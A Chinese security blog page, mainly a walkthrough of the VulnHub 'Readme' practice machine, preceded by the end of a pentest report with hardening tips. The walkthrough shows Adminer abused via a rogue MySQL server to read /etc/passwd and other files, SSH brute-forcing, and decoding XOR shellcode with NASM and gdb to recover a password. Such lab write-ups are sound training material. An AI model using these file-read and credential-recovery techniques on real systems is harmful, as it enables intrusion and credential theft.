建议:启用复杂度策略 + 定期强制修改 过时软件漏洞 Joomla 3.9.12存在未授权数据库写入风险 建议:升级至最新LTS版本 + 禁用备份文件访问 横向防御缺失 内网主机未部署EDR/流量监控 建议:部署微隔离策略 + 启用Windows Defender ATP 7.2 加固措施 网络层: # 防火墙规则示例(Linux) iptables -A INPUT -p tcp --dport 3306 -j DROP # 禁用MySQL外网访问 系统层: # Windows组策略 Set-ItemProperty "HKLM:SYSTEMCurrentControlSetControlLsa" -Name "DisableDomainCreds" -Value 1 # 禁止明文凭据缓存 应用层: # Nginx配置隐藏版本号 server_tokens off; 8. 总结与反思本次测试暴露了企业网络在边界防护、密码管理和漏洞修复方面的严重不足。建议企业: 建立常态化红蓝对抗机制 每季度执行一次外部漏洞扫描 对运维人员开展ATT&CK攻击链防御培训 渗透测试不仅是技术验证,更是安全意识的觉醒。——By 泷羽Sec安全攻防团队往期推荐红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略【oscp】vulnerable_docker,三种代理方法打入内网【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了HTB-Chemistry靶机渗透教程
2025年05月18日
1,687 阅读
0 评论
0 点赞
2025-05-18
稀有靶机-Readme
这个靶机网上的演示很少很少,唯一一篇csdn文章也没有写详细,就是第二个用户的密码是靠汇编的知识获取到的,而他就直接写了个密码,怎么获取的都没写出来,https://blog.csdn.net/2301_79316009/article/details/140642836这个问题很大,希望原作者能修改修改我这里提到了,唯一盲点就是fixed.nasm的编写,很懵,回头一定恶补靶机链接:https://www.vulnhub.com/entry/readme-1,336/主机发现80探测访问网页端口扫描的mysql服务拒绝连接,说明没有开启远程连接目录扫描php版本reminder.php,这里有一个人名 Julian,告诉我们有一个txt文件Also, can you fix this search box? Sometimes it chucks errors depending on what I enter... I'd do it myself, but I've been busy trying to create some code to enable us to securely store our passwords, seeing as you keep forgetting yours... The encoder seems completely borked though. 大致意思就是,这个输入框会报一些错误,让你修复测一测sql注入,sql语法错误,存在sql注入漏洞,但是没有回显啊,放弃了sqlmap结果看另外一个文件,有一个adminermysql服务失效使用内网地址,不允许连接到mysql服务器返回有一个图片的地方,源码泄露了一个路径访问路径文件内容ssh用户julian密码爆破的结果漏洞检索,也没有结果连接靶机的mysql不行,那么连接你攻击机的mysql呢?将你得mysql服务器(kali)开启远程连接,将这一行注释掉vim /etc/mysql/mariadb.conf.d/50-server.cnf重启mysqlsudo service mysql restart设置mysql密码,并登录sudo mysqladmin -u root password 'root' mysql -u root -h 192.168.111.128 -p # 输入你得密码创建登录数据库,新加一个数据create database test; # 创建一个test数据库 use test # 切换到test数据库 create table demo(id int,name text); # 创建一个普通的表 insert into demo values(1,'demofefhkhakfh'); # 添加任意数据 select * from demo; +------+----------------+ | id | name | +------+----------------+ | 1 | demofefhkhakfh | +------+----------------+ 1 row in set (0.000 sec)这里我们就能进行远程连接了连接成功这里再结合之前暴露出来的路径信息执行如下命令load data local infile "/etc/julian.txt" into table demo;为空,检查一下原因设置一下local_infileSET GLOBAL local_infile = true; SHOW GLOBAL VARIABLES LIKE 'local_infile';检查secure_file_privSHOW GLOBAL VARIABLES LIKE 'secure_file_priv';这些都没问题,就是sql语句错了,可以看看这篇老外写的文章https://rastating.github.io/readme-walkthrough/正确的sql语句因该如下才对(和原来的对比就是少了个字段)# 原失败的sql语句 load data local infile "/etc/julian.txt" into table demo; # 成功的sql语句,这里设置了一个终止符,并且添加了一个指定字段的分隔符 load data local infile '/etc/julian.txt' into table test.demo fields terminated by "n";同理,包含/etc/passwd,也可以成功sql语句如下load data local infile '/etc/passwd' into table test.demo fields terminated by "n";但是包含了passwd文件,并没有julian这个用户,可能显示上限了吧,用密码登录一下,和上面对比,验证了我们刚刚的结论I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh漏洞利用原理自行查看,这篇文章写的不错:https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Adminer/Adminer%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/登录成功后,信息收集识别hash类型,是MD5sudo再切换用户的目录,有一个poc.c,编译一下开启了http服务,看样子有防火墙继续信息收集端口和进程信息suid文件历史命令那还能咋办嘞,c的源码是有的,我们可以直接将c的源码复制到kali进行编译就行,先分析一下源码吧,基本的信息收集已经没有什么可以利用的了,这里需要将这个 poc 编译,还有那个 payload.bin来获取密码 payload.bin:一个包含了 shellcode, 和 tatham用户的密码信息 poc.c :一个需要放置shellcode并运行他的文件 #include <stdio.h> #include <string.h> int main(void) { unsigned char code[] = ""; void (*s)() = (void *)code; s(); return 0; }在kali中报了如下错误依次执行如下命令即可dpkg --add-architecture i386 apt-get update apt-get install libc6-dev-i386编译成功这里又要用到反汇编了,完整的poc.c如下这里要用到gdb调试工具自动解码还有手动解码,两种方法,计算shellcode的原始十六进制字节,然后生成一个fixed.nasm有效载荷,这个文件的内容如下,这个文件的编写(这个文件内容如何编写的,这就涉及到知识盲区了,太菜了,不会逆向),可以参考如下文章,关于这个靶机,网上的资料太少太少了https://rastating.github.io/readme-walkthrough/global _start section .text _start: ; set the frame pointer mov ebp, esp ; clear required registers xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx ; push encoded password onto stack push 0x7f7f1312 push 0x157b2f22 push 0x13247312 push 0x087b0423 push 0x73287022 push 0x30280912 push 0x3b162f20 push 0x360e1919 push 0x157b0913 push 0x757b0960 push 0x70167510 push 0x2d162f25 push 0x73241923 push 0x09167527 push 0x1a772b0c push 0x37787217 ; calculate size of password and store in $ecx lea ecx, [ebp] sub ecx, esp ; begin xor on the encoded password decode_loop: ; if at dword 12, xor with F lea edx, [0x14] cmp ecx, edx jz xor_f ; if at dword 11, xor with E lea edx, [0x18] cmp ecx, edx jz xor_e ; if at dword 10, xor with E lea edx, [0x1c] cmp ecx, edx jz xor_e ; if at dword 9, xor with B lea edx, [0x20] cmp ecx, edx jz xor_b ; if at dword 8, xor with D lea edx, [0x24] cmp ecx, edx jz xor_d ; if at dword 7, xor with 4 lea edx, [0x28] cmp ecx, edx jz xor_4 ; if at dword 6, xor with E lea edx, [0x2c] cmp ecx, edx jz xor_e ; if at dword 3, xor with D lea edx, [0x38] cmp ecx, edx jz xor_d ; if at none of the unique indexes ; xor with A. jmp xor_a short_loop_jmp: jmp decode_loop xor_f: lea ebx, [0x41414146] jmp xor_eof xor_e: lea ebx, [0x41414145] jmp xor_eof xor_b: lea ebx, [0x41414142] jmp xor_eof xor_d: lea ebx, [0x41414144] jmp xor_eof xor_4: lea ebx, [0x41414134] jmp xor_eof xor_a: lea ebx, [0x41414141] jmp xor_eof xor_eof: lea eax, [ebp] sub eax, ecx xor [eax], ebx sub dword [eax], 0x01010101 sub ecx, 0x4 xor eax, eax cmp ecx, eax jnz short_loop_jmp int3 int3 int3 int3依次执行,会生成一个a.out文件,该文件是修复后的可执行文件,我们使用gdb运行它启动此文件就好了,并查看这个xor_eof()函数反汇编信息查看寄存器状态,并使用格式说明符(查看内存的内容,并且提供了不同的格式和选项来指定如何显示这些内容)基本用法如下x/<n><f> <address> n 是要显示的单元数量(可选),表示要查看多少个内存单元。 f 是格式说明符,可以用来指定数据类型或格式。 <address> 是你想要查看的内存地址。 格式说明符在 x/ 命令中使用的格式说明符可以包括: b:以字节(byte)为单位显示。 h:以半字(short)为单位显示,通常为 2 字节。 w:以单字(word)为单位显示,通常为 4 字节(在某些平台上可能不同)。 g:以双字(double word)为单位显示,通常为 8 字节。 s:以字符串的形式显示,通常以 null 结尾。 f:以浮点数格式显示(比如 float 或 double)。 i:以指令的格式显示,适用于机器指令。 例子 查看从某个地址开始的 10 个字节:x/10b 0x08048000 查看从某个地址开始的 5 个整型(常用 4 字节)值:x/5w 0x08048000 以字符串形式查看从某个地址开始的内容:x/s 0x08048000 查看机器指令i,和s一个一个试试,会找到一个base编码我们解码看看,这不就是我们要的密码嘛密码:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE往期推荐【oscp】Blender软件的信息泄露---VulnOSv2【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了HTB-Chemistry靶机渗透教程【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【kali笔记】shodan常见的20种基本使用方法,信息收集必备
2025年05月18日
1,511 阅读
0 评论
0 点赞
1
...
26
27
28
...
39